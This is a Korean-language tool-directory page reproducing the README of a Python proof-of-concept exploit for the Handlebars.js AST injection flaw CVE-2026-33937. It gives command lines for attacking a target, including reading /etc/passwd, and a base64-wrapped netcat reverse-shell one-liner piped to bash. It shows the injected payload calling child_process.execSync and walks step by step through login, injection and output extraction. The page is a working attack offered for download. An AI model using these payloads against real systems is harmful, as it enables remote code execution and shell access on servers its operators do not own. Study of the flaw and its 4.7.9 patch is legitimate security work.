Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33937 — Handlebars.js AST Injection RCE용 Python POC 익스플로잇, Handlebars.js 4.0.0~4.7.8 버전이 영향을 받습니다. CVSS 점수: 9.8 Critical. | Kitploit
도구/GitHubGitHub/c0gnit00/cve-2026-33937
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubc0gnit00/cve-2026-33937

CVE-2026-33937

Handlebars.js AST Injection RCE용 Python POC 익스플로잇, Handlebars.js 4.0.0~4.7.8 버전이 영향을 받습니다. CVSS 점수: 9.8 Critical.

저장소 보기
117일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33937 — Handlebars.js AST 인젝션 RCE

Handlebars.js 4.0.0부터 4.7.8까지의 버전이 영향을 받습니다. CVSS 점수: 9.8 치명적(Critical).


개요

CVE-2026-33937은 Handlebars.js의 타입 혼동(type confusion) 취약점입니다. Handlebars.compile() 함수는 템플릿 문자열과 사전 파싱된 AST 객체를 모두 입력으로 받아들입니다. 공격자가 조작된 AST 객체를 전달하면 컴파일러의 NumberLiteral 방문자가 노드의 value 필드를 정화(sanitization) 없이 생성된 JavaScript 함수 본문에 그대로 삽입합니다. 결과에 대해 render()를 호출하면 Node.js 프로세스 내부에서 공격자가 통제하는 코드가 실행됩니다.


사용법

root@kitploit:~
python3 exploit.py --url <target>  --username <email> --password <pass> --command  <cmd>

인자

  • --url — 대상의 기본 URL (예: http://hello.veer/) (필수)
  • --username — 로그인 이메일 주소 (필수)
  • --password — 로그인 비밀번호 (필수)
  • --command — 실행할 OS 명령어, 기본값은 id (선택)

예시

root@kitploit:~
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id

# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'

# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0

python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload>  | base64 -d | bash'

작동 원리

1단계 — 인증

이 스크립트는 익스플로잇 전에 전체 로그인을 수행합니다. 먼저 /login에 GET 요청을 보내 폼에서 숨겨진 _csrf 토큰을 추출한 다음, 해당 토큰을 제공된 이메일 및 비밀번호와 함께 폼 인코딩된 POST로 /login에 제출합니다. 성공하면 서버는 /dashboard로 302 리다이렉트를 반환하고 이후 모든 요청에 사용되는 dz.sid 세션 쿠키를 설정합니다.

앱의 CSRF 미들웨어가 모든 변경 작업에 CSRF 토큰을 요구하므로 각 POST 요청 전에 새로운 CSRF 토큰이 자동으로 가져와집니다.

2단계 — 주입 지점

애플리케이션은 Content-Type: application/json을 허용하는 POST /character를 노출합니다. 이 라우트는 새 D&D 캐릭터를 생성하며, campaign_id가 제공되면 campaign_message 필드를 서버에서 Handlebars.compile()에 직접 전달합니다:

root@kitploit:~
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message);  // no type check
const output = render({ name, race, class });          // payload executes here
// output is stored as a campaign log entry

요청 본문이 JSON인 경우 campaign_message는 문자열이 아닌 중첩 객체(AST)가 될 수 있어 폼 계층의 문자열 검증을 우회합니다. campaign_id 필드는 서버가 렌더링된 결과를 캠페인 로그 메시지로 저장하게 하며, 이후 GET /campaign/1에서 읽을 수 있습니다 — 이를 통해 공격자는 대역 외(out-of-band) 명령 출력을 얻을 수 있습니다.

3단계 — AST 페이로드

이 익스플로잇은 lookup 헬퍼와 결합된 NumberLiteral을 사용합니다.

{{lookup this 1}}을 정상적으로 컴파일하면 다음과 같은 코드가 생성됩니다:

root@kitploit:~
env.helpers.lookup(this, 1, {options})

주입된 NumberLiteral.value가 1을 다음 코드로 대체합니다:

root@kitploit:~
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //

생성된 JavaScript 코드는 다음과 같아집니다:

root@kitploit:~
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>

render()가 호출되면 execSync()가 실행되고 그 stdout이 표현식 값으로 반환되어 캠페인 메시지로 저장됩니다.

명령어는 내부적으로 /bin/sh -c 'cmd 2>&1'로 감싸져서 공백, 파이프, 리다이렉트가 포함된 명령도 올바르게 작동하며, stderr도 stdout과 함께 캡처됩니다.

4단계 — 출력 추출

이 스크립트는 페이로드를 보내기 전에 캠페인 메시지 수를 기록합니다. POST 후 /campaign/1을 다시 가져와 messages[before_count:]를 슬라이싱하여 새로 추가된 항목만 분리합니다. 이 방식은 동일한 명령이 이전에 실행된 적이 있는 경우에도 올바르게 처리합니다. 세트 기반 비교는 동일한 출력을 중복 제거하여 새 결과를 놓칠 수 있기 때문입니다.


기술적 근본 원인

Handlebars.js javascript-compiler.js 내부의 취약한 코드는 다음과 같습니다:

root@kitploit:~
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
    this.pushStackLiteral(number.value);  // value inserted verbatim, no type check
}

버전 4.7.9에서는 compile() 진입점에 타입 검사를 추가하여 코드 생성기에 도달하기 전에 문자열이 아닌 입력을 거부합니다:

root@kitploit:~
// Patched in 4.7.9
if (typeof input !== 'string') {
    throw new Handlebars.Exception(
        'You must pass a string or Handlebars AST to Handlebars.compile.'
    );
}

참고 자료

  • dinhvaren의 CVE-2026-33937 PoC: https://github.com/dinhvaren/cve-2026-33937
  • Handlebars.js: https://handlebarsjs.com
  • Handlebars GitHub: https://github.com/handlebars-lang/handlebars.js

면책 조항

이 저장소는 오로지 보안 연구 및 교육 목적으로만 제공됩니다. 이 익스플로잇은 귀하가 소유하거나 테스트에 대한 명시적인 서면 승인을 받은 시스템에만 사용하십시오.

도구 다운로드